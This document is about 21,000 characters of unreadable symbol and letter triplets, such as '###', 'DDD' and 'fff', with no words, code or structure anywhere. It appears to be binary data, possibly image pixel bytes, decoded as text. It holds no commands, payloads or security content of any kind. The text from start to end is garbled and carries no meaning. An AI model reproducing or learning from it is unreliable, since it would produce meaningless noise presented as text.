555555777<<<<<<777666::: 555 ,,,...]]]XXXQQQDDDDDD ###$$$666+++ ...444,,,///777FFFNNN   $$$%%%'''###%%%###!!!###&&&(((???555888;;;AAAAAA===>>>>>>@@@???666444222111!!! &&&$$$ %%%...>>>NNN111***999AAAJJJAAA???---&&&555+++555KKKQQQIIILLLTTTbbbjjjqqqqqqgggVVV]]]\\\HHH///***)))&&&$$$&&&(((&&&---888333...444555222;;;222111000...555:::999222&&&"""!!! 000 $$$---$$$""" ###$$$666+++ ...444,,,///777AAA@@@+++   DDDEEEGGGCCCEEECCC???<<<===BBBDDD:::FFFMMM(((%%%)))***'''!!! %%%((( """!!!  000333BBBJJJSSSJJJIII777000>>>JJJKKK]]]SSSGGG...///777666@@@VVV]]]TTTWWW```ooowww}}}}}}uuucccjjjiiiUUU===777666333222444666444<<>><<<:::<<<>>>222//////...)))&&&%%%***222,,,""" )))+++666@@@---$$$---;;;@@@VVVKKK555%%%...<<<888III+++EEEKKKGGG@@@LLL\\\hhhnnnqqqmmmcccjjjiiiKKK000+++---...+++###&&&---888777,,,,,,888::::::///,,,,,,+++000222444777---    ######888---$$$000000  ,,,+++(((...***###GGGNNNMMM/// ***777***$$$"""EEE@@@AAAAAACCC???999999>>>>>>DDDEEEFFF&&&!!! ### )))!!!### ###555DDDIII___TTT???...777FFFLLLWWW000GGG555000???HHHCCCUUUSSSPPPWWWRRRLLLXXXhhhuuu{{{~~~{{{qqqxxxwwwYYY>>>999;;;<<<999111444<<>>AAA000222RRRNNN222666@@@GGGZZZaaahhhmmmaaacccqqqtttSSS<<<444333,,,...666444333444222---,,,,,,///666CCCBBBAAA>>>AAA===222000:::@@@===888222111000111////// %%%%%%$$$'''$$$$$$!!!######"""   +++!!!---*** !!!''':::)))!!!$$$$$$000222555111DDDFFFTTTWWW666 '''&&&%%%"""%%%AAA666444???DDDBBB<<<777555555666444444 %%%%%%$$$'''$$$$$$ +++!!!666CCCSSSPPP===...111@@@HHHNNN:::)))///999IIILLLMMMYYY[[[^^^YYY>>>BBBLLLSSSfffnnnuuuzzzmmmppp~~~```JJJBBBAAA:::<<>>'''&&&%%%"""QQQMMMBBB@@@KKKQQQNNNIIICCCBBBAAACCCFFFHHHLLLOOONNNDDDDDDMMMUUUUUUTTTWWWOOOOOOTTTUUUQQQTTTTTTSSS  999===<<<;;;<<<888999BBBRRR+++!!!QQQbbb___KKK===@@@OOOVVV(((222666 :::===:::777'''(((+++***HHH)))&&&'''***((('''%%%%%%!!!###  $$$$$$JJJHHHGGGHHHGGGCCC???<<<:::999777111,,,(((!!!""""""!!! """)))444JJJIII///!!!(((000:::QQQ999&&& 000<<<;;;WWW===:::777DDD111EEEHHHGGGEEEJJJSSSbbbiiifffbbbnnnwwwdddEEE111///999BBB999888888333---+++000111222;;;CCCGGGDDDCCCAAAAAA666888===???<<<333111---&&&&&&$$$ $$$)))'''!!!$$$%%%$$$$$$***((('''((('''$$$   ++++++ 333(((222666 :::===:::777'''(((MMMIIIEEERRRZZZHHH)))&&&'''***((('''%%%EEE:::===BBBCCCAAA888666222++++++ $$$)))'''!!!$$$%%%$$$$$$***((('''((('''  ++++++ 888CCCZZZBBB///)))999FFFOOO222666 GGGDDDFFFbbbfffccc```PPP===QQQTTTSSSRRRVVV___EEEMMMIIIEEERRRZZZHHH)))&&&'''***((('''%%%RRRFFFIIINNNPPPMMMDDDBBB>>>777BBBMMMSSSXXXWWWOOOPPPTTTUUUTTTTTTZZZXXXWWWYYYXXXUUU  666777555555555888>>>JJJ```+++ QQQiiiPPP>>>888HHHTTT(((---888***%%%&&&@@@@@@@@@666666222---___CCC!!!###,,, """ (((***&&&''')))***###"""###DDDDDDDDD@@@AAAAAA>>>;;;888333111111,,,'''"""###!!! ###(((;;;OOODDD(((""",,,666;;;JJJ000"""444<<>>666@@@III:::111999<<<777---222>>><<<333DDDFFFBBBCCCEEEFFF???888888666666666777777555000111 !!!&&&'''%%%)))***%%%"""###$$$$$$$$$ !!!!!!   111&&& ,,,---888***%%%&&&@@@@@@@@@666666JJJRRR>>>>>>______CCC!!!###,,, """ (((***&&&''')))JJJDDD===<<<;;;;;;;;;<<<<<<:::555 !!!&&&'''%%%)))***%%%"""###$$$$$$$$$ !!!  111&&& >>>CCCSSS999+++(((===FFFUUU888***%%%FFFOOOhhhiiihhh___GGGEEE___\\\VVV######))):::JJJRRR>>>>>>______CCC!!!###,,, """ (((***&&&''')))***###IIIHHHGGGGGGGGGHHHIIIGGGEEEPPPUUUVVVUUUXXXYYYTTTOOORRRSSSTTTUUUTTT !!!!!!  666777666555555555888===QQQ111&&& LLLQQQaaaGGG:::777KKK---###333::: ((('''===BBB??????***000<<<;;;@@@UUU]]]MMM***$$$***+++ $$$$$$&&&&&&###(((FFFBBBAAA???===>>>:::444///,,,999>>>888///###$$$((($$$ !!!'''---SSSQQQ666###&&&444BBBQQQKKK,,,###(((777AAA[[[BBB??????***MMMYYYYYY^^^^^^QQQEEECCCZZZhhhrrrXXX\\\rrrzzziiiFFFAAAGGGHHH:::000...---***000222555@@@@@@CCCCCC777999;;;???999444222333666555222000------%%%$$$!!!###$$$&&&###(((&&&"""!!!  $$$  444333%%%$$$333,,,  ###333::: ((('''===BBB??????***000<<<<<>>FFFBBBBBB111###AAA???CCCBBBOOO^^^[[[EEE---$$$$$$    !!!>>>::::::<<<<<<333---+++)))222:::666------+++444333%%%&&&---@@@OOO???)))%%%111999===OOO111$$$%%%333===OOOdddBBBBBB111###^^^\\\``````UUUZZZOOOJJJWWWaaajjjqqqdddlll{{{xxxbbbJJJ@@@AAA333***%%%###((()))***---111///000---///***,,,000***,,,333666666777555666999888###!!!###***...,,,)))(((!!!  %%%$$$### !!!000 ((($$$111000000:::--- ***000>>>FFFBBBBBB111###AAA???999DDDMMMTTTGGGOOO^^^[[[EEE---$$$$$$   444...111888::::::<<<:::;;;###!!!###***...,,,)))(((!!! %%%$$$### !!!000 WWW999---...<<>>FFFBBBBBB111###AAA???CCCBBB888===222,,,999DDDMMMTTTGGGOOO^^^[[[EEE---$$$$$$    ###!!!###***...,,,)))(((!!!  XXXVVVVVVRRRAAA>>>HHHGGG:::;;;BBBUUU000 PPPTTTfffGGG;;;===JJJ000:::***:::;;;$$$###!!!(((???CCCDDD555666AAADDDFFFBBBQQQTTT\\\YYY@@@(((       """******!!!"""666888;;;999888555666999666222111...+++DDD555666GGG:::222222CCC666(((###)))======GGGAAA######---<<>>444555999:::&&&...+++......***'''"""  $$$***%%%(((%%%555'''"""(((<<<)))###***:::;;;$$$###!!!(((???CCCDDD555666AAADDD888@@@FFFOOOTTTQQQTTT\\\YYY@@@(((      ---777CCCLLLLLLCCC999&&&...+++......***'''"""  $$$***%%%(((%%%  )))JJJ,,,,,,666EEEQQQ:::;;;$$$###!!!(((???CCCDDD555666AAADDDFFFBBB<<<666 &&&888@@@FFFOOOTTTQQQTTT\\\YYY@@@(((       """******!!!&&&...+++......***'''""" CCCKKKQQQSSSWWW]]]XXXIIIJJJ[[[NNNGGGGGG%%%  SSSTTT^^^XXX:::;;;DDD***:::;;;<<<@@@---...111;;;<<<@@@BBB ...>>><<<:::777999&&&999KKK<<<(((  &&&******'''///444777666666333666;;;999333///...111HHH444,,,<<>>;;;222$$$!!!"""***:::BBBQQQ555###+++:::@@@ZZZ^^^^^^BBB ...>>><<>>,,,333CCCIII<<<@@@---...111;;;<<<@@@BBB ...>>><<<:::777999;;;)))+++BBBDDDFFFCCC***&&&999KKK<<<(((  &&&******'''&&&+++222111,,,***&&&###!!! HHHJJJMMMUUUXXXYYY[[[___]]]HHH@@@PPP[[[SSS PPPXXXhhhKKK:::AAA"""<<<@@@---@@@555,,,666888<<<<<<;;;###)))>>>999111...---666 """......$$$%%%!!!  000000222111@@@@@@666111///111999===777...(((&&&'''666999+++""""""///===FFFTTTAAA%%%(((999EEESSS___TTT;;;###)))>>>999111...KKKTTTJJJ888PPPcccdddcccMMM+++ %%%666;;;666444555::::::555///---...---///777---$$$###)))555???KKKLLLAAABBB>>>:::===@@@ $$$$$$###&&&%%%)))''' (((555"""...111AAANNN\\\hhh555,,,666888<<<<<<;;;###)))>>>999111...---666,,,222EEEFFFEEE///  """......$$$%%%!!!$$$$$$###&&&%%%)))''' OOOUUU]]]^^^[[[UUU]]]ddd]]]KKKAAA<<<;;;<<>>666  (((000///&&&### $$$%%%555333888888:::;;;555111///444;;;>>>999666///,,,&&&(((333333&&&)))===111444888888888777222000444666333444///&&&$$$---<<>>666%%%@@@GGGDDD777  (((000///&&&### $$$'''...***%%%!!! PPPXXX```dddZZZNNNSSSXXXUUULLLIIIBBB@@@;;; cccjjjpppUUU@@@KKK(((000CCC<<<'''555 333444666555333,,,111888555<<>>AAA???===:::444111666<<<<<<333777///++++++'''%%%+++000;;;JJJ555999:::<<>>GGGKKKJJJFFF@@@BBBEEEEEE;;;888:::BBBDDDHHHIIIFFF+++,,,+++ """###  777"""000BBBXXXfffkkk]]] 333444666555333,,,111888555<<>>CCC555 ((()))666::::::444888 !!!666777>>>EEE555222 """###%%% %%%+++111///&&&***''''''  999888999666555777666666999;;;<<>>333555777===@@@AAA===777222222666888222888BBB>>>>>>CCCIIIOOOMMMDDDGGGDDDEEEHHHJJJMMMNNNKKKEEEAAA@@@>>>>>>???666  ***333JJJiiihhhPPP)))666::::::444888 !!!666777>>>ooo___222000999AAABBB  """###%%% %%%+++111///&&&***'''###### !!!!!!  MMMMMMTTT^^^cccaaaaaaUUUKKKRRRZZZ(((###  TTT___QQQ>>>999888 """AAA@@@(((%%%777===BBB???;;;'''+++222===DDDAAA555  %%%'''!!! !!!$$$)))(((### (((###&&&***'''$$$"""$$$***### 000+++,,,666HHHRRRBBB:::>>>DDDGGGOOOSSSHHH;;;777888///$$$!!!!!!;;;CCCEEE>>>>>>>>>BBBGGGFFFAAA:::>>>EEEAAACCCGGGDDDBBB???BBBHHH@@@999888999@@@IIIRRROOOJJJFFF<<<666111+++...666444))))))666111000111111,,,((((((222EEEOOO???777;;;BBBJJJHHH___eeeDDD%%%777===BBB???;;;'''+++222===DDDkkk___JJJ(((,,,'''  %%%'''!!! !!!$$$)))(((### (((###&&&***'''$$$"""$$$***###(((   (((111!!!OOOVVVQQQRRRXXX___XXXRRRLLL'''///333)))777777666888777===PPP""" 777===%%%444;;;BBBDDD@@@444***+++222>>>>>>444%%%((($$$)))%%% 444...+++333GGGQQQBBB;;;<<<===HHHOOOOOOBBB<<<777000((("""!!!!!!777<<<888555<<<:::999;;;:::555111111444666<<>>>>>^^^OOO<<>>BBB<<<222 %%%(((%%% >>>555888DDDIII;;;333000222555;;;???:::---)))$$$"""!!!!!!!!!///444111222000111444444000///---111:::<<<>>>CCCFFFCCC<<<444222444111>>>HHHSSSPPPKKKDDD777333,,,((()))((('''&&&***333444<<<777555<<<;;;222555AAAFFF888000--- &&&fffddd\\\IIICCC@@@***555999HHHBBB888###***333--->>>BBBfff\\\>>>999EEECCC///,,,,,,,,,,,,,,,---------------------------...===BBB???@@@>>>@@@CCCCCC???>>><<<@@@IIILLLNNN%%%(((%%%&&&  ###(((AAADDDIIIMMMLLLQQQeeekkk///""" 666777777777777???[[[>>><<<333!!!***555...222555GGGBBB222333555///<<<===888---    !!!'''"""$$$(((%%%""" @@@@@@???@@@999...++++++...///222;;;<<<'''$$$""""""!!!!!!!!!***666222...))),,,222222++++++***...???EEE@@@BBBFFFCCC@@@<<<777888 &&&OOONNNIIIBBB666555000+++,,,'''$$$&&&333;;;666222///222888<<<<<<<<<<<<666+++(((((( 000oooeeeDDD333///DDD...222555GGGBBB222333555///<<<===bbbWWW555444666///,,,,,,,,,,,,,,,---------------------------......888DDD@@@<<<777;;;AAAAAA::::::999===OOOUUUPPP$$$(((%%%""" $$$ JJJ???<<<<<<@@@GGGGGG@@@BBB]]]hhh000"""777666666666777777BBB000GGG=== ...222000<<>>::::::777***$$$$$$&&&)))))),,,,,,...VVVEEE///---333YYY<<>><<<777222222((($$$333<<<999 444666%%%$$$$$$ 777;;;BBBHHH???999222***+++'''###%%%''')))---444999888777AAA777444FFFfffFFFJJJLLLGGG:::777999222......,,,+++,,,,,,,,,,,,,,,---------------------------............777999777555444444888>>>EEEMMMKKKFFFBBBBBB888 444 $$$)))  >>>:::777999;;;<<<@@@HHHMMMLLLIIIHHHKKKKKKFFFQQQ+++777<<<<<<666222000 :::888777666777777777777 ===FFFJJJHHHFFF777///===,,,"""666BBB;;;'''  """"""  !!!'''$$$  ...000333BBBIIIGGG???WWWVVVWWWJJJ555111+++%%%"""!!!""",,,000...555555111222222333>>>@@@@@@===888)))###---666 !!! !!!!!! ''''''$$$   '''DDD,,,888@@@???ZZZqqqFFF777///===,,,"""666BBB;;;''' ,,,,,,++++++,,,,,,,,,,,,,,,------------------------------............:::>>><<>>@@@DDDSSSZZZYYYPPPKKKJJJPPPUUU\\\,,,000555666555666)))EEE???999777777777777111HHHFFF777@@@---///CCC<<<&&&   """&&&   ***,,,---,,, 888;;;EEELLLHHHDDDGGG===777111>>>999;;;///###""""""&&&+++,,,111000---,,,+++000=========999777AAADDD   $$$***/// !!!******,,,---,,, ###***&&&***+++111777QQQiii---///CCC<<<&&& ,,,,,,,,,,,,,,,,,,,,,,,,------------------------------...............444999:::???>>>;;;:::999???LLLLLLLLLHHHGGGQQQ&&&   ***/// !!!******^^^______MMMAAA::::::???CCCHHHLLLVVV]]]YYYVVVNNNLLLRRRYYY((()))******&&&RRRMMMOOOCCC888777777(((@@@---###111&&&111$$$000444%%% )))---$$$ %%%KKKHHHIIIGGGFFFCCC999000666999???<<<---$$$"""""" ###'''000;;;888555888999333333000666000444%%%  %%%***000111000''' )))---$$$ %%%)))'''(((&&&***************LLL111&&&111$$$+++,,,,,,,,,,,,,,,,,,------------------------------............//////...000555>>>IIIFFFCCCGGGHHHBBBBBB???FFFKKK^^^444%%% 000''';;;GGGNNNLLLQQQ[[[```VVVMMM???:::CCCMMMWWW\\\ZZZ[[[YYYXXXUUUVVV```ggg000***''''''"""LLLSSSPPPBBB999777###111&&& &&&%%%  ###$$$$$$$$$ '''(((DDDAAAAAACCCGGG:::333DDD999DDDCCC:::,,,%%%&&&""")))111777666555333111333555 !!!)))***%%%###$$$### ###$$$$$$$$$ '''((("""************+++333&&&%%%,,,,,,,,,,,,,,,,,,------------------------------............//////...000666???EEEDDDCCCBBB???BBBCCCFFFFFFDDD===<<<$$$###666:::>>>EEEMMMJJJMMMUUUVVVVVVVVVHHHCCCJJJRRRZZZ[[[UUURRRRRRUUUZZZYYY&&&&&&***+++%%%###&&&###MMMXXXWWWNNN@@@::: &&&   ((()))***)))&&&######%%%"""$$$'''###@@@>>>@@@GGG777111===GGGGGG>>>>>>999222...   %%%'''((( %%%###"""((()))***)))&&&######%%%"""$$$'''###*********+++++++++ ,,,,,,,,,,,,,,,------------------------.........///////////////333:::>>>@@@AAADDDDDD???>>>???GGGHHHHHHJJJ  %%%'''((( CCCBBBOOOVVVTTTTTTZZZ[[[\\\[[[XXXUUURRRUUUWWWUUUWWWZZZVVVQQQOOO###!!! ###)))%%%[[[[[[RRRRRRMMMFFF 999999999>>>      ...000,,,$$$!!!######%%%+++)))&&&)))***+++LLLFFFJJJ===<<<:::@@@PPPXXX[[[WWWGGG333      !!!"""### 777666222333222......000,,,$$$!!!######%%%+++)))&&&)))***+++******++++++++++++***,,,,,,,,,,,,------------------/////////111666222111666<<<>>>:::888888666777555999:::===DDD   !!!"""### PPPhhhhhhccceeeddd```aaaccc^^^VVVSSSVVVUUUWWW___\\\YYY)))***+++***$$$(((,,,)))+++000)))SSSdddllloookkk\\\999888999999  $$$+++ &&&///444...,,,000///---+++***)))$$$AAAKKK===@@@<<<000666;;;999]]]^^^OOO  $$$+++### !!! ///IIIBBB111%%% &&&///444...,,,000///---+++***)))$$$&&& 999444777555222,,,,,,,,,,,,------//////000222444333000000111222111555666777:::AAACCCAAA $$$+++### !!!FFFCCCAAA===CCC```zzztttbbbVVVKKKGGGMMMOOORRRYYYbbbgggaaa```000///---+++***)))$$$(((***,,,444777)))CCCIIIOOOMMMqqqsss---,,,&&&  @@@:::999999    !!!&&&000333444111+++''')))++++++(((!!!VVVLLLHHHAAABBB???BBBBBBRRRZZZWWW    ===  333DDD999***!!!&&&000333444111+++''')))++++++(((!!!*** 666555555666666000,,,,,,---///000555999666111111111666999999???>>><<>>555  LLLIII>>>???>>>AAAMMMddduuukkk\\\PPPHHHHHHPPPSSSYYYccceeeggg111+++''')))++++++(((!!! )))...888===444***'''VVVRRRUUUUUUfffooo555///*** DDD>>>:::999    &&&...,,,)))'''(((''''''''''''&&& XXXMMMHHHDDDJJJ;;;888AAA@@@DDDCCC   111111111 """000999(((!!!!!!&&&...,,,)))'''(((''''''''''''&&& DDD444222444777444,,,---333999<<<555000000222:::AAAFFFKKKEEE===777777666333666999;;;<<>>===???BBBHHHMMMSSSbbbkkkYYYSSSSSSOOOMMMMMMQQQYYYaaa___)))'''(((''''''''''''&&&  ###000333555666+++'''XXX^^^NNNLLLUUUTTTYYY!!!  DDDBBB>>>;;;    """)))&&& """### $$$+++%%%KKK999555555AAA777888FFF666555===   <<<>>>777222---  ***(((%%%"""''''''""")))&&& """### $$$+++%%%***555aaaUUU<<<666888666666 666444444111///000222666888>>>HHHBBB:::666444444111666;;;===>>>BBBLLLNNNGGGCCC===:::888===DDDPPP[[[YYYVVVTTTXXXYYYNNNJJJMMMJJJLLLUUU)))&&& """### $$$+++%%%...111---)))HHHTTTKKKLLLZZZJJJ***555888,,, DDDDDDBBB===    $$$######!!! """ !!!***///(((RRREEE>>>222000666888000---;;;    $$$CCCCCC@@@AAA???666111$$$***(((***------444555,,, """ !!!***///((( EEEWWWcccTTTMMMPPPJJJDDD222444888888<<<:::777888888888AAA???;;;>>>HHHTTTLLLGGGLLLSSSSSSOOOQQQOOOFFFAAA???BBB@@@AAAIIIUUU[[[ZZZ\\\___```fffggg,,, """ !!!***///(((''',,,///111000YYYQQQEEEDDDJJJKKKDDD  ...:::***###&&&WWWRRRWWWVVV!!!   !!!(((///***!!!***...///''' ...KKKCCC:::111222777:::666999  AAAHHHOOOJJJ>>><<<;;;666666 $$$(((*********,,,***###!!!***...///'''>>>===DDDTTTTTTRRRRRRRRR!!! 666<<>>>>>BBBKKKPPPQQQXXX___ZZZNNNLLLKKKFFFFFFIIIKKKLLLOOORRRPPPVVVYYY\\\\\\\\\^^^***###!!!***...///''' $$$(((+++...^^^VVVMMMDDDEEEJJJNNN******((((((___UUUVVVYYY ###"""   !!!"""$$$&&& """&&&******(((,,,***###"""     ;;;AAABBBDDDFFF<<<888888>>>@@@:::%%%&&&### !!!"""&&&******(((,,,***###cccYYYSSSLLLHHHCCCFFFKKK ###"""/////////DDDMMMMMMJJJJJJMMMIII>>>999BBBJJJKKKIIIJJJQQQRRRTTTVVVLLLHHHHHHNNNQQQKKKOOOPPPNNNVVVXXXUUUOOOJJJJJJLLL !!!"""&&&******(((,,,***###"""''' ###+++***""""""UUUVVVLLLEEECCCFFF ''':::000)))"""XXXXXXXXX[[[$$$***###  $$$$$$"""$$$$$$!!!!!!'''""""""(((,,,*** ((( &&&222EEEEEEBBBEEEEEEAAA???AAA;;;666888>>>DDD+++'''$$$!!!$$$)))'''""""""(((,,,*** ]]]GGG???@@@;;;555777$$$***.........///////////////GGGKKKCCCCCCCCCAAAGGGGGG???HHHNNNTTTTTTRRRTTTTTTQQQNNNQQQJJJEEEHHHNNNTTTOOOFFFIII]]]YYYUUUMMM!!!$$$)))'''""""""(((,,,*** (((888MMMMMM999***'''(((###RRRTTTKKKCCCAAACCC&&&222666444 LLLUUU\\\bbb%%%+++ $$$"""!!!*********++++++++++++,,,'''###"""!!!***+++---555777;;;@@@<<<===@@@DDDCCCBBBKKKJJJ???222222 %%%%%%###"""!!!%%%******++++++++++++,,,'''###"""MMMEEE???EEEEEE........./////////......///333@@@CCCCCCCCCEEEIIINNNLLLCCCFFFJJJOOOKKKLLLOOOTTTSSSRRR[[[ZZZOOOBBBBBB===>>>%%%%%%###"""!!!%%%******++++++++++++,,,'''###"""!!!***444FFFLLL>>>222'''KKKQQQbbbcccSSSLLL(((###OOOQQQUUU]]]&&&222--- !!!"""$$$((((((***'''$$$###!!! '''...---(((###%%%)))***%%% ###...888111 '''*** !!!===BBB@@@999:::<<<===>>>@@@CCCDDDHHHIIIJJJHHHDDDDDDAAAAAA333---  $$$$$$'''...---(((###%%%)))***%%% ###...>>>AAA999===.........////////////111555555111GGGCCC@@@@@@CCCIIIJJJKKKLLLOOORRRTTTXXXXXXZZZXXXTTTTTTRRRQQQCCC===  $$$$$$'''...---(((###%%%)))***%%% ###...888111222999666///)))BBBDDD]]]```VVVOOO!!!FFFFFFMMM^^^ ...###  ###'''(((***,,,((('''+++...---###------%%%"""!!!&&&""" ''',,, !!!%%%***%%%999<<<@@@<<<888888444333888<<>>:::555&&&(((------%%%"""!!!&&&""" 555111000  .............../////////...000666>>>@@@777444EEEBBB@@@FFFJJJPPPSSSWWWXXX[[[,,,((('''+++...---###&&&(((------%%%"""!!!&&&""" ''',,,)))&&& BBB???QQQSSSXXXRRR%%%***%%%   AAA>>>>>>FFF ---,,,'''   !!!""" &&&,,,,,,%%%$$$%%%+++444''',,,---'''%%%***&&&!!!###  ???BBB@@@888<<>>GGGEEEFFFKKKRRRPPPOOOVVV]]],,,%%%$$$%%%+++444'''$$$###(((,,,---'''%%%***&&&!!!###&&&)))&&&JJJFFFJJJJJJAAA<<<  ;;;:::===EEE&&&'''  444000)))***000---***   %%%'''***+++)))&&&'''(((%%%######!!!!!!''''''"""    BBB;;;222000'''%%%...888;;;===@@@@@@@@@@@@BBBFFFHHHLLLMMMJJJGGGHHHIIIFFFDDDJJJ222333###$$$"""###!!!!!!''''''EEE  999===>>><<<444222333===DDDPPP[[[aaabbbbbb^^^WWW<<>>BBBCCCIIIDDDEEEJJJGGGBBB@@@===>>>IIIRRR666666"""''')))###!!!######""" &&& $$$"""###))) RRRWWWLLL555888AAA@@@KKKZZZaaa______^^^\\\YYYTTT@@@JJJKKKMMMMMMLLLPPPSSS(((###$$$)))&&&!!!(((111666666"""''')))###!!!######""" &&&######$$$######"""BBBEEEEEEXXXlllaaa ;;;;;;;;;::: (((!!! )))###  !!! """!!!$$$'''###""" ;;;;;;888  $$$)))!!! ///777### (((&&&'''***+++)))***222:::???CCCBBB>>>===AAADDDCCCFFFHHHEEEDDDBBB@@@AAA@@@BBB&&&%%%&&&$$$!!!###"""!!!  $$$%%%444(((!!! JJJJJJCCC444999HHHLLLSSSZZZYYY\\\[[[WWWQQQKKKKKKFFFHHHMMMQQQPPPLLLLLLOOO"""!!!$$$'''###"""  &&&%%%&&&$$$!!!###"""!!!  $$$)))"""###"""'''!!!MMMMMMDDDOOOfffnnn### %%%444%%%IIIIIICCC<<< """ ###!!!   ###333555,,,%%%###""" ///000///---+++***,,,))) '''$$$!!!///999,,,444222///+++***222888BBBDDD???222555???UUUWWWNNNGGGDDDCCCBBBBBB???;;;:::EEE___XXX///%%%''')))    """ ###HHH???666333777IIIFFFNNNVVV```XXXOOOEEE999888888333@@@FFFPPPSSSMMMAAACCC333555,,,%%%###""" $$$===666///%%%''')))   '''%%%%%%###$$$WWWSSSEEESSSgggppp,,, 444AAA>>>...ZZZSSSIII???"""   '''!!!222CCCLLLEEE&&&(((:::000,,,(((  ))))))###''',,,333999444333444+++###...,,,...333...---///000@@@HHHAAA888+++***444777!!!,,,  777;;;JJJKKKDDD???HHHNNNUUU[[[VVVUUUVVVMMMEEEQQQJJJEEENNNMMMOOOVVVYYYPPPGGGDDDAAA   ###---%%%  '''!!!222CCCLLLEEE&&&(((gggfffeeeeeeeeebbbbbbaaa^^^aaa^^^[[[WWWGGG@@@@@@FFFHHHHHHEEEJJJYYYZZZSSS''',,,333999444333444+++###///)))$$$,,,+++---444777...&&&"""   ###"""%%%%%%+++aaaNNNFFFNNNlllnnn!!!,,,(((---%%% &&&999???;;;iiiZZZUUUOOO$$$ ''',,,)))---888BBBIIIHHH555&&&,,,222***444444### """%%%  ###---444222444444///***555333000444333555555777DDDJJJFFFBBB>>>888555888===TTTTTTAAA(((,,,>>>)))"""%%%  ###OOOVVVUUUVVVWWWQQQLLLOOOTTTXXX[[[QQQQQQTTTMMMFFFDDDDDD???777000...222 $$$!!!***))) ''',,,)))---888BBBIIIHHH555&&&,,,______QQQOOOTTTZZZ\\\\\\TTTRRRYYYbbbcccRRROOOMMMLLLHHHIIINNNLLLLLLNNN ###---444222444444///***---111666999//////222+++$$$""""""  $$$!!!  '''***000fffSSS;;;@@@QQQ```***)))###"""333===;;;mmm]]]VVVSSS--- ''')))***444:::>>>???,,, (((---555666333,,,(((!!!"""((($$$$$$$$$###***,,,111111111...%%%===;;;555333777999444666<<>>@@@<<>>???,,, (((---aaaOOONNNPPPKKKRRRZZZYYY^^^cccdddbbb\\\WWWPPPJJJKKKCCCFFFEEEDDDEEEHHH###***,,,111111111...%%%&&&111444,,,)))(((&&&   !!!"""^^^bbbGGGDDDIIIZZZ 555777555///333;;;888qqqfffYYYSSS,,,###!!!%%%((("""!!!...777:::222 &&&***666999999888///***''' &&&333777)))%%%***+++555444///333...;;;>>>;;;999AAAGGG@@@666888;;;<<<:::666;;;@@@BBB>>>888EEEVVVQQQHHH===EEEUUUNNNFFF &&&333777)))%%%***+++555444///333...&&&KKKLLLFFFCCC@@@>>>>>>???>>>:::666000---///777:::777555===CCC===%%%((("""!!!...777:::222 &&&***'''SSSPPPVVVSSSSSSVVV\\\```eeehhhhhhggg^^^YYYVVVPPPJJJKKKLLLCCC???CCC%%%***+++555444///333...&&&)))***$$$  !!! WWWiiidddZZZPPPXXX000***!!!,,,@@@888:::>>><<<333666ttteee\\\ZZZ222222333000,,,&&& ''''''"""""" %%%***777777777999111,,,,,,+++$$$"""$$$///*** """$$$***+++***,,,[[[555<<<@@@BBB>>>???AAA???>>>CCCEEEDDD@@@======@@@BBBKKKOOOGGG===CCC>>>999+++$$$"""$$$///*** """$$$***+++***,,,))))))JJJMMMQQQNNNOOORRRFFFCCC@@@<<<===:::444000333333222222999===???;;;<<< 333000,,,&&& ''''''"""""" %%%***...,,,XXXRRRLLLSSS[[[[[[eeefffffffffhhhaaa\\\\\\[[[FFFHHHIIIDDDCCC"""$$$***+++***,,,))))))(((***...+++,,,///###    ######RRRUUU^^^bbbZZZPPP***222888HHHKKK888...kkkkkklllmmm~~~zzzpppiii^^^WWW]]]eeebbbbbbjjjeee]]][[[SSSNNNZZZ]]]\\\XXXfffbbbaaafff___\\\]]]^^^[[[WWWXXX___ccc___XXXOOOHHHIIIKKKKKKGGG??????FFFJJJNNNNNNNNNWWW[[[XXXVVV ===??????>>>CCCFFFBBB???DDD444444333;;;:::888999CCCAAA<<<)))&&&"""###***...***### $$$(((&&&$$$$$$EEEGGGMMMPPPRRRRRRFFFBBB@@@<<>>777999<<<<<<>>>qqqmmmcccZZZNNNIIIIIILLLSSSXXX[[[\\\VVVQQQJJJHHHNNNOOOFFFBBBEEELLLLLLMMMMMMPPPSSSRRRJJJMMMRRRUUU\\\[[[YYYRRRQQQNNNGGG@@@@@@GGGIIIBBB &&& """###$$$""" +++000+++###  @@@CCCHHHCCCAAADDD ###)))((()))qqq~~~zzzqqqqqqtttwwwqqq___YYYSSSQQQXXX\\\^^^]]]PPPJJJLLLUUUYYYOOOLLLNNNLLLPPPUUUZZZ\\\ZZZYYYSSSOOORRR[[[^^^[[[YYYVVVVVVVVVPPPLLLEEEKKKPPPHHHIIIIIIMMMLLLCCCIIIJJJKKKSSS  """***333 333999===888222333&&&)))&&&$$$""""""!!! ===888;;;@@@DDDFFFKKKDDD888555111222777777///+++***...777;;;===BBB;;;555777;;;AAABBBFFFcccgggjjjcccSSSMMMGGGEEELLLQQQSSSRRREEE???BBBKKKOOOEEECCCEEEDDDHHHJJJEEE@@@AAAHHHMMMFFFEEEJJJOOOTTTUUUTTTSSSMMMIIIMMMIIIBBBHHHMMMFFFGGG !!!###(((!!!  """***333222---***$$$ CCCFFFHHHFFFKKKPPP ///999555888777:::>>>[[[fffgggaaa___fff[[[OOOccceeefff^^^PPPRRRXXXZZZUUUPPPOOOMMMSSSMMMLLLPPPSSSTTTSSSRRRTTTYYYccccccTTTRRRRRRYYYXXXWWW\\\XXXQQQSSSVVVVVVYYYUUUSSSYYYSSSPPPLLLJJJ """...111$$$------$$$$$$###'''$$$""""""&&&""" %%% 888666555===@@@===@@@DDDGGGFFF@@@999666555444000///000444999;;;<<<<<<:::===AAA???>>>FFFGGGNNNXXXYYYUUUSSSZZZOOOCCCXXXZZZ[[[SSSEEEGGGNNNPPPKKKFFFEEEDDD@@@===;;;999999999>>>DDDMMMLLLGGGEEEJJJLLLNNNMMMLLLOOOTTTXXXVVVOOOPPPSSSTTTXXX""" %%%  $$$### """...111+++$$$  KKKIIIJJJHHHJJJPPP""",,,---PPP[[[eeeggg\\\aaaUUULLL___eeecccbbb\\\^^^aaa[[[NNNTTTTTTMMMRRRRRRNNNLLLKKKNNNOOORRRXXXbbbdddaaaXXXVVVVVV[[[\\\[[[ZZZUUUTTTTTTXXXWWWPPPJJJIIILLLKKKIIIJJJKKK""" """"""###+++222///###,,,...+++###!!!!!!&&&((('''%%% $$$###777777<<<>>><<<:::666666===DDDCCC;;;555444555111777:::;;;:::<<>>@@@BBBGGGFFF@@@EEEGGGGGGOOOVVVJJJBBBGGGJJJGGGNNN^^^fff```QQQBBB>>>QQQOOOHHHBBBIIIKKKHHHEEEEEEJJJGGGEEEGGGAAA999444333444666<<>>MMMNNNGGGNNNQQQTTTWWWZZZYYYTTTPPPUUU\\\\\\YYYTTTQQQNNNQQQ&&&  